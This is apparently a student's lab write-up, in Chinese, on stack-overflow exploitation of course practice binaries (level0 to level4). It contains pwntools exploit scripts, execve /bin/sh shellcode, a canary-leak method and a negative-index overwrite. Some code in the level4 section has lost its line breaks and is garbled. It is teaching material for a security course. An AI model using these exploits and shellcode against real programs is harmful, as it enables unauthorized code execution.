ouc 网络安全实验 Stack Overflow Shellcode

因为当时自己做实验的时候出现了很多疑问不会解决，在网上看到了一位大佬 王森ouc 的专栏文章解决了很多问题，也学到了很多知识和解决问题的方法，现在把我的实验解决方法也发上来，希望有不会的同学可以通过博文理解实验内容，同时能够熟练掌握这些知识。感谢这位大佬和课堂中帮助过我的同学老师。

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要求

lab7 包括 5 个题目 (lab7-[1-5])，请分析 5 个题目找到其中的漏洞，写出利用脚本并拿到 shell。其中 lab7-1/2/3 比较简单，主要考察栈溢出、shellcode 和canary 绕过等，lab7-4、lab7-5 增加了一点难度。

1. 逆向分析二进制文件的逻辑，关注缓冲区的大小和读写操作，找出漏洞的位置和触发方法。
2. 查看文件保护机制，调试、计算偏移、考虑利用方法。
3. 编写利用脚本，拿到 shell。

lab0

在 IDA 里查看伪代码，发现 main 函数调用 sayhi() 函数，sayhi()函数调用 myread()函数，read 读取 256 个字符到地址(&v1)中。但是上面定义的 v1 是 char 型，只能存储一个字符，在调用 myRead 函数时，却让它读取 256 个字符，会发生栈溢出。

查看 seeme() 函数，发现该函数的功能就是拿到 shell。因此考虑通过栈溢出覆盖 sayhi 函数的返回地址，获取到 shellcode。栈示意图如下所示。

编写 python 代码，如下在终端运行。

from pwn import *
conn=process('./level0') 
seeme=0x080485B3 
conn.recv()
payload = b'a' * (0x28 + 4)+p32(seeme) 
conn.sendline(payload) 
conn.recv()
conn.interactive()

lab1

在 IDA 里查看伪代码，发现 sub_80484E9() 函数调用 myRead(int a1, int a2) 函数，通过 read() 函数读取 32 个字符到全局变量 unk_804A060 中，再输出读入的字符，最后再用 read 函数读 256 个字符到局部变量 v1 中。

实现溢出后就需要注入 shellcode。因为 sub_80484E9() 函数中的输出函数调用全局变量 unk_804A060 的地址，因此将 shellcode 代码注入全局变量 unk_804A060 中，此全局变量的地址是 0x0804A060。v1 在栈上的位置是 ebp-28h，return 语句输入的字符串的首地址是 v1的地址。首先可以输入 28h 个字符覆盖从 v1 到 ebp 的内容，再输入 4个字符覆盖旧的 ebp，最后输入存放 shellcode 指令的地址 0x0804A060（也就是全局变量的地址）即可，栈示意图如下所示。

编写 python 代码（如下），在虚拟机终端运行代码实现功能。

#!/usr/bin/env python3
from pwn import *
p = process('./level1') 
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe
3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
p.sendline(shellcode) 
getshell = 0x0804A060 
payload = b'a' * (0x28 + 4) + p32(getshell)
p.recvuntil('.\n')
p.sendline(payload)
p.interactive()

lab2

在 IDA 里查看伪代码，（如图 3-1）发现 main()函数调用 func()函数，func() 函数定义了 char 型变量 buf，然后又定义了一个 int 型的局部变量 v2，用来存放 canary 的值，可以通过读取 *MK_FP(GS, 20) 得到 canary。Result 等于 canary 和 v2 进行异或，如果两者相同，Result 等于 0，若不同，则会返回一个非零值。

本题中的 seeme()函数给出了获取 shellcode 的函数，因此不用自己再写。需要的时候将返回地址改为 seeme()函数的首地址 0x08048516 即可。

Func() 函数用 read 函数读取 0x28 个字节到 buf 中。但是 buf 是 char 型变量，在栈中只有 1 个字节的位置，如果读取 28h 个字节的话，会造成栈溢出。将数据读到 buf 之后，printf 函数输出 buf 中的内容，因为字符串以\x00 作为结束标记，所以 printf 在读到 \x00 的时候就知道这个字符串结束了。而 canary 的最低字节是\x00，v2（即本题中的 canary）在栈中的首地址是 ebp-0Ch，而且本题中低地址存放低字节，所以 ebp0Ch 指向的字节单元的值就是\x00。因此如果在输入 buf 的内容时，多输入几个字符覆盖 ebp-0Ch，printf 函数在输出到 ebp-0Ch 的时候，没有发现\x00，就会继续输出后面 canary 的值。

buf 在栈上的位置是 ebp-24h，v2 在栈上的位置是 ebp-Ch，输入 24 个字符填充 ebp-24h 到 ebp-Ch 的栈内容，再多输入一个字符覆盖 ebp-Ch处的\x00。之后用输出的 canary（注意 canary 的最低字节需要恢复成\x00）填充 v2（四字节），填充到了 ebp-8h。再用 8 个字符填充到 ebp，用 4 个字符覆盖 ebp，最后用 seeme()函数的入口地址覆盖返回地址，因此输入字符串应该为：24 个填充字符+canary+12 个填充字符+seeme函数入口地址，栈示意图如图所示。

编写 python 代码（如下），在虚拟机终端运行代码实现功能。

#!/usr/bin/env python3
from pwn import *
p = process('./level2') 
offset = 0x24-0xC 
p.send('a' * (offset + 1)) 
p.recvuntil('a' * (offset + 1))
canary = b'\x00' + p.recv(3) 
payload = b'a' * offset + canary + b'a' * 12 + b'\x16\x85\x04\x08'
p.send(payload)
p.recvuntil('a' * offset + '\n')
p.interactive()

lab3

查看 IDA 生成的伪代码，发现 main()函数调用readerFunc()函数，readerFunc() 函数调用了 getLens() 函数，getLens()函数在输入完 buf 的值之后，会问是否需要修改输入的数据（Y/N），然后通过 read()函数读取 16 个字符。

getLens() 函数在输入完 v2 的值之后，会问是否需要修改输入的数据（Y/N），然后通过 read() 函数读取 16 个字符。buf 的栈空间位置是 ebp-18h，v2 的栈空间位置是 ebp-Ch，相差 12 个字节内存空间，但是读了 16 个字节的数据，所以多出来的四个字节会覆盖 v2 原来的值，也就是 readerFunc() 函数中读取数据的长度可以被改变。通过这种方法，可以读入比规定长度（32 字节）长的数据，从而造成缓冲区溢出。所以输入的字符串长度是：2Ch （覆盖 buf 到 ebp）+ 4（覆盖旧的 ebp）+ 4（新的返回地址） + shellcode 指令的长度= 4Dh。getLens() 函数的栈情况如图所示。

实现溢出后就需要注入 shellcode。readerFunc() 函数中不像 Level 1 一样有全局变量，存在可以确定的绝对地址。如果把 shellcode 写到 buf里，只能确认它的地址是 ebp-2Ch,但是 ebp 每次运行的时候都不一样，所以不能确定 shellcode 指令的入口地址。调试发现每次 ret 前，esp都指向 ret 下面那条指令，也就是 ebp+8，所以把 shellcode 覆盖到这里。在返回地址处写入 jmp esp 指令的地址，实现函数跳转。

编写 python 代码（如下），在虚拟机终端运行代码实现功能。

from pwn import*
p = process('./level3')
retAddr = '\x6b\x88\x04\x08' 
shellcode = 'a' * 48 + retAddr + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'
sendstr = 'a' * 12 + '\x4d\x00\x00\x00' 
p.send('0')
p.send(sendstr)
p.recv()
p.send(shellcode)
p.interactive()

lab4

查看 IDA 生成的伪代码，发现 main() 函数调用 sayHi() 函数，sayHi() 函数用 scanf 读入 9 个字节到 v1，没有办法修改。令 result 等于*MK_FP(GS, 20)和 v2 的异或，又一次使用了 canary。之后在 createArr() 函数中通过循环，用 scanf 进行整数的读取，再对其输出。

在函数 createArr()中，int 型变量 v1 在 ebp-24h，int 型变量 v2 在ebp-20h，int 型变量 i 在 ebp-1Ch，int 型数组 s 大小为 3，在栈里的 ebp-18h 位置上。最后是存放 canary 的 v5（canary 机制在本题没有用），在栈的 ebp-Ch。整个栈空间如图所示。

再次分析 createArr() 函数，首先输入 v1 作为数组 s 的下标，要求输入的数字不能大于 3，否则程序退出，再输入整数 v2 作为 s[v1]。因为程序没有设置输入数字的最小值，所以 v1（数组下标）可以是负数。由图 5-4 可看出，返回地址在栈里的位置是 ebp+4，假设输入的索引在 eax 里，数组的首地址为 ebp-18h，那么 ebp - 18h （数组首地址）+ 4 * eax （覆盖的栈的数量 * int 型 4 字节）= ebp + 4（返回地址），因此令 eax =1Ch/4，最高两位写成 10 或 11，就可以保证eax 为负数且满足覆盖条件。

手动注入 shellcode 的地址和 Level 3 的思路一样，把 shellcode 注入到返回地址的下面，即 ebp+8 的位置，然后让返回地址的值为 jmp esp 指令的地址，实现函数跳转。

本题的注入方法和上一个不一样。上一个直接输入就可以，这一题函数用 i 计数，只允许进行三次输入。i 比数组 s 的首地址低 4 个字节（如图 5-4），即 i 在 s[-1]的位置。因为函数内部只要求数组下标大于等于 0，所以输入的 v1 为 -1 ，v2 为想要输入的次数变形后的值。比如想再循环读 5 次，就应该输入 v2 的值为-3，即 s[-1]=-3，相当于 i=-3，这样 i 的值就可以被改变。同时注意如果输入 v2 的值为 -2 的话，完成本此循环后，i 会在当前输入的基础上自加，变成-1，只能再进行四次循环。

编写 python 代码（如下），在虚拟机终端运行代码实现功能。

from pwn import*
def HexToInt(data):width = 32dec_data = int(data, 16) if dec_data > 2 ** (width - 1) - 1:dec_data = 2 ** width-dec_datadec_data=0-dec_datadec_data = '%d' %dec_datareturn dec_data
p = process('./level4')
p.sendline('testtes')
indexs = ['80000007', 'ffffffff', '80000008', '80000009', '8000000a', '8000000b', '8000000c','8000000d', '8000000e']
values = ['804885b', 'fffffffb', '6850c031','68732f2f','69622f68','50e3896e','31e18953', 'cd0bb0d2', '80']
for i in range(9):p.sendline(HexToInt(indexs[i]))p.sendline(HexToInt(values[i]))
p.recv()
p.interactive()